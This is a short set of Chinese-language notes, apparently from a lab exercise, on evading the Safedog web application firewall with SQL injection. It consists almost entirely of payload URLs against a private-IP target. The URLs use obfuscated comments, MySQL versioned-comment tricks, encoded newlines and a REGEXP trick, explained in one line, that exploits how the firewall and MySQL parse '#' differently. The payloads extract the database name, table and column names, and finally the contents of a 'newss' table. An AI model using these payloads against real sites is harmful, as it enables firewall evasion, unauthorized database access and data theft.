/*%!*干扰
http://192.168.111.16/index.php?id=1/%2a%%2f/order/%2f%2f/by/%2f%2f/2
数据库同理
http://192.168.111.16/index.php?id=-1/%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,database(/%2f%2f/)
http://192.168.111.16/index.php?id=1/%2a%%2f/union/%2f%2f//!50441select//%2f%2f/1,group_concat(table_name)%20from%20information_schema.tables%20where%20/wad/table_schema=database(////)
不拦截
http://192.168.111.16/index.php?id=-1%20/%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,group_concat(table_name),3%20%20%0a%20%20from%20information_schema.tables%20where%20table_schema=database(////)
拦截
http://192.168.111.16/index.php?id=-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,group_concat(table_name),3 ?%0a ?from information_schema.tables where table_schema=database(////)
这里其实REGEXP "[…任意%23]"就行,在url解码%23变成了#,安全狗认为后面全都成为了注释符,带入到mysql层面其实%23只是正则的一个参数并不是注释符
http://192.168.111.16/index.php?id=-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,group_concat(column_name),3 ?%0a ?from information_schema.columns where table_name="newss"
http://192.168.111.16/index.php?id=-1 REGEXP "[…%0a%23]" /%2a%%2f/union/%2f%2f//!50144select//%2f%2f/1,content,3 ?%0a ?from newss